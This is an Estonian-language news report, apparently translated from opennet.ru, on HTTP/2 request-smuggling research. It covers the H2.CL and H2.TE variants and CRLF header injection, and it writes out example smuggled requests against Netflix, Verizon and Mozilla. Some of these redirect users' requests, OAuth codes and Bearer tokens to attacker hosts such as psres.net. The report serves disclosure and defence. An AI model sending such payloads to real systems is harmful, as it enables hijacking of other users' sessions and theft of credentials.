VeebisĂŒsteemid, kus front-end vĂ”tab ĂŒhendusi HTTP/2 kaudu ja edastab taustaprotsessile HTTP/1.1 kaudu, osutusid uue "HTTP Request Smuggling" rĂŒnnakuvormi suhtes haavatavaks. See vĂ”imaldab spetsiaalsete kliendipĂ€ringute saatmise kaudu sekkuda teiste kasutajate pĂ€ringute sisusse, mis töödeldakse sama voolu kaudu front-end'i ja taustaprotsessi vahel. RĂŒnnakut saab kasutada pahatahtliku JavaScripti koodi sisestamiseks seanssi, kus on seaduslik veebisait, juurdepÀÀsupiirangute ĂŒmberminekuks ja autentimisparameetrite haaramiseks.
Probleem on haavatav web-proksides, koormuse tasakaalustajates, veebikiirendites, sisuhalduse sĂŒsteemides ja muudes konfiguratsioonides, kus pĂ€ringud suunatakse front-end'i ja taustaprotsessi vahel. Uuringu autor demonstreeris rĂŒnnaku vĂ”imalust Netflixi, Verizon, Bitbucket, Netlify CDN ja Atlassiani sĂŒsteemide vastu ning teenis 56 000 dollarit haavatavuste avardamise preemia programmides. Probleemi olemasolu on samuti kinnitatud F5 Networks'i toodetes. Osaliselt mĂ”jutab probleem mod_proxy'd Apache HTTP serveris (CVE-2021-33193), parandused on ootel versioonis 2.4.49 (arendajad said teate probleemist mai alguses ja neil oli 3 kuud parandamiseks). Nginxis on samaaegselt "Content-Length" ja "Transfer-Encoding" pĂ€iste mÀÀramine blokeeritud eelmiseks vĂ€ljaandeks (1.21.1). RĂŒnnakuteks vajalikud vahendid on juba lisatud Burpi tööriistakomplekti ja need on saadaval Turbo Intruder laienduse kujul.
Uue pĂ€ringute sekkumise meetodi toimimise pĂ”himĂ”te on sarnane kaks aastat tagasi sama uurija poolt vĂ€lja toodud haavatavusele, kuid oli piiratud front-end'idega, mis vĂ”tsid pĂ€ringuid HTTP/1.1 kaudu. Meenus, et front-end'i ja taustaprotsessi skeemis vĂ”tab pĂ€ringud klientidelt vastu lisaseade â front-end, mis loob pikaajalise TCP-ĂŒhenduse taustaprotsessiga, mis tegeleb pĂ€ringute vahetu töötlemisega. Selle ĂŒhise ĂŒhenduse kaudu edastatakse tavaliselt erinevate kasutajate pĂ€ringud, mis jĂ€rgivad ĂŒksteist omavahel ja jagatakse HTTP protokolli vahendite abil.
Klassikaline rĂŒnnak "HTTP Request Smuggling" pĂ”hines sellel, et front-end'd ja back-end'd tĂ”lgendavad erinevalt HTTP pealkirjade "Content-Length" (mille eesmĂ€rk on mÀÀrata pĂ€ringu andmete kogusuurus) ja "Transfer-Encoding: chunked" (mis vĂ”imaldab andmete edastamist osade kaupa) kasutamist. NĂ€iteks kui front-end toetab ainult "Content-Length", kuid ignoreerib "Transfer-Encoding: chunked", vĂ”ib rĂŒndaja saata pĂ€ringu, milles on samal ajal mÀÀratud pealkirjad "Content-Length" ja "Transfer-Encoding: chunked", kuid "Content-Length" vÀÀrtus ei vasta chunked ahela suurusele. Sel juhul töötleb front-end pĂ€ringu vastavalt "Content-Length"'ile ja back-end ootab ploki lĂ”petamist "Transfer-Encoding: chunked" alusel, mille tĂ”ttu jÀÀb rĂŒndaja pĂ€ringu jĂ€rel oleva hiline osa teise pĂ€ringu algusesse.
Erinevalt tekstiprotokollist HTTP/1.1, mille analĂŒĂŒs toimub ridade tasemel, on HTTP/2 binaarne protokoll, mis manipuleerib eelnevalt mÀÀratud suurusega andmeplokkidega. Lisaks kasutatakse HTTP/2-s pseudopealkirju, mis vastavad tavapĂ€rastele HTTP pealkirjadele. Kui front-end suhtleb back-end'iga HTTP/1.1 protokolli kaudu, tĂ”lgib front-end need pseudopealkirjad sarnasteks HTTP/1.1 pealkirjadeks. Probleem on selles, et back-end teeb voolu analĂŒĂŒsi otsuseid juba front-end'ilt saadud HTTP pealkirjade alusel, ilma et tal oleks teavet algse pĂ€ringu parameetrite kohta.
Sealhulgas pseudopealkirjade vormis vĂ”ivad olla edastatud vÀÀrtused "content-length" ja "transfer-encoding", hoolimata sellest, et HTTP/2 neid ei kasuta, kuna kĂ”igi andmete suurus mÀÀratakse eraldi vĂ€ljal. Siiski, HTTP/2 pĂ€ringu konverteerimise kĂ€igus HTTP/1.1-ks kantakse need pealkirjad edasi ja need vĂ”ivad eksitada back-end'i. Erinevad rĂŒnnakuvĂ”imalused hĂ”lmavad kaht peamist varianti: H2.TE ja H2.CL, milles back-end eksitatakse vale transfer-encoding'i vĂ”i content-length'i vÀÀrtuse tĂ”ttu, mis ei vasta pĂ€ringu keha tegelikule suurusele, mis jĂ”uab front-end'i HTTP/2 protokolli kaudu.

H2.CL rĂŒnnakute nĂ€itena toodi vĂ€lja vale suuruse mÀÀramine pseudopealkirjas content-length, kui saadeti HTTP/2 pĂ€ring Netflixi. See pĂ€ring toob kaasa sarnase HTTP-pealkirja CĐŸntent-Length lisamise, kui pöördutakse bĂ€ndi poole HTTP/1.1 kaudu, kuid kuna CĐŸntent-Length'is mĂ€rgitud suurus on vĂ€iksem kui tegelik, töödeldakse andmete osa lĂ”pus kui jĂ€rgmise pĂ€ringu algust.
NÀiteks, HTTP/2 pÀring: :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Toob kaasa pÀringu saatmise bÀndile: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Kuna Content-Length on 4, tajub bĂ€nd pĂ€ringu kehaks ainult "abcd" ning ĂŒlejÀÀnud osa "GET /n HTTP/1.1..." töödeldakse kui jĂ€rgnevate pĂ€ringute algust, mis on seotud teise kasutajaga. Seega toimib voogude desĂŒnkroniseerimine ja vastuseks sellele jĂ€rgnevale pĂ€ringule vĂ€ljastatakse tulemused vale pĂ€ringu töötlemise kohta. Netflixi puhul tĂ”i kolmanda osapoole hosti mĂ€rkimine pealkirjas "Host:" vale pĂ€ringus klienti vastuse "Location: https://02.rs?x.netflix.com/n" ning vĂ”imaldas kliendile edastada meelevaldset sisu, sealhulgas kĂ€ivitada oma JavaScripti koodi Netflixi saidi kontekstis.
Teine rĂŒnnaku variant (H2.TE) on seotud pealkirja "Transfer-Encoding: chunked" sisestamisega. Pseudopealkirja transfer-encoding kasutamine HTTP/2-s on spetsifikatsiooniga keelatud ja pĂ€ringud, mis seda sisaldavad, tuleb mÀÀratleda kui vigased. Sellegipoolest ei arvestata mĂ”nedes esitusviisides seda nĂ”uet ning lubatakse pseudopealkirja transfer-encoding kasutamine HTTP/2-s, mis muudetakse sarnaseks HTTP pealkirjaga. Kui pealkiri "Transfer-Encoding" on kohal, vĂ”ib bĂ€nd pidada seda prioriteetsemaks ja töötlema andmeid osade kaupa âchunkedâ reĆŸiimis, kasutades erineva suurusega plokke formaadis â{suurus}\r\n{plokk}\r\n{suurus}\r\n{plokk}\r\n0", hoolimata algsest jaotamisest ĂŒldise suuruse jĂ€rgi.
Sarnase haavatavuse demonstratsioon toimus ettevĂ”tte Verizon nĂ€itel. Probleem puudutas autentimisportaali ja sisuhaldussĂŒsteem, mida kasutatakse ka sellistes saitides nagu Huffington Post ja Engadget. NĂ€iteks, kliendi pĂ€ring HTTP/2 kaudu: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x="
Saatis backend-ile HTTP/1.1 pÀringu: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x="
Backend ignoreeris seevastu "Content-Length" pealkirja ning töötles voogu "Transfer-Encoding: chunked" alusel. Praktikas lubas rĂŒnnak suunata kasutajate pĂ€ringud enda saidile ning isegi tabada OAuth autentimisega seotud pĂ€ringud, mille parameetrid ilmusid Referer pealkirjas, ning simuleerida autentimisprotsessi, viies seelĂ€bi sĂŒsteemi kasutaja mandaadi rĂŒnnakuteenuse hostile. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?âŠ&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6IkâŠ
HTTP/2 rakenduste rĂŒnnakuks, mis ei luba "Transfer-Encoding" pseudo-pealkirja, on pakutud veel ĂŒhte meetodit, mis seisneb "Transfer-Encoding" pealkirja asendamises teiste pseudo-pealkirjade juurde, eraldades need reavahetusega (sellisel juhul luuakse HTTP/1.1-s kaks eraldi HTTP-pealkirja).
NÀiteks olid Atlassian Jira ja Netlify CDN (mida kasutatakse Mozilla kÀivitamise lehe edastamiseks Firefoxis) mainitud probleemile altiivsed. EelkÔige HTTP/2 pÀring: :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x="
saatis backend-ile HTTP/1.1 pÀringu POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x="
Teine variant "Transfer-Encoding" pealkirja asendamiseks oli selle seondamine teise pseudo-pealkirja nime vÔi pÀringu meetodi stringiga. NÀiteks Atlassian Jira juurde minnes, kui pseudo-pealkirja nimeks on "foo: bar\r\ntransfer-encoding" ning vÀÀrtus "chunked", lisati HTTP-pealkirjad "foo: bar" ja "transfer-encoding: chunked", ning kui pseudo-pealkirjas "method" vÀÀrtuseks oli "GET / HTTP/1.1\r\nTransfer-encoding: chunked", tÔlgiti see "GET / HTTP/1.1\r\ntransfer-encoding: chunked".
Probleemi avastanud teadlane pakkus vĂ€lja ka pĂ€ringute tunnelimise tehniku, et rĂŒnnata frontende, kus igaĂŒhe jaoks IP-aadressid luuakse eraldi ĂŒhendus tagakĂŒljega ning erinevate kasutajate liiklus ei segune. Pakutud tehnika ei luba teiste kasutajate pĂ€ringutesse sekkuda, kuid vĂ”imaldab saata jagatud vahemĂ€lu, mis mĂ”jutab teiste pĂ€ringute töötlemist, ja vĂ”imaldab sisemiste HTTP-pealkirjade asendamist, mida kasutatakse teenuste edastamiseks frontendi ja tagakĂ€e vahel (nĂ€iteks suunates frontendis autentimise kĂ€igus tagakĂŒljele praeguse kasutaja andmed). NĂ€iteks selle meetodi rakendamine praktiliselt vahemĂ€lu saastamise kaudu andis kontrolli lehtede ĂŒle Bitbucket teenuses.
Allikas: opennet.ru
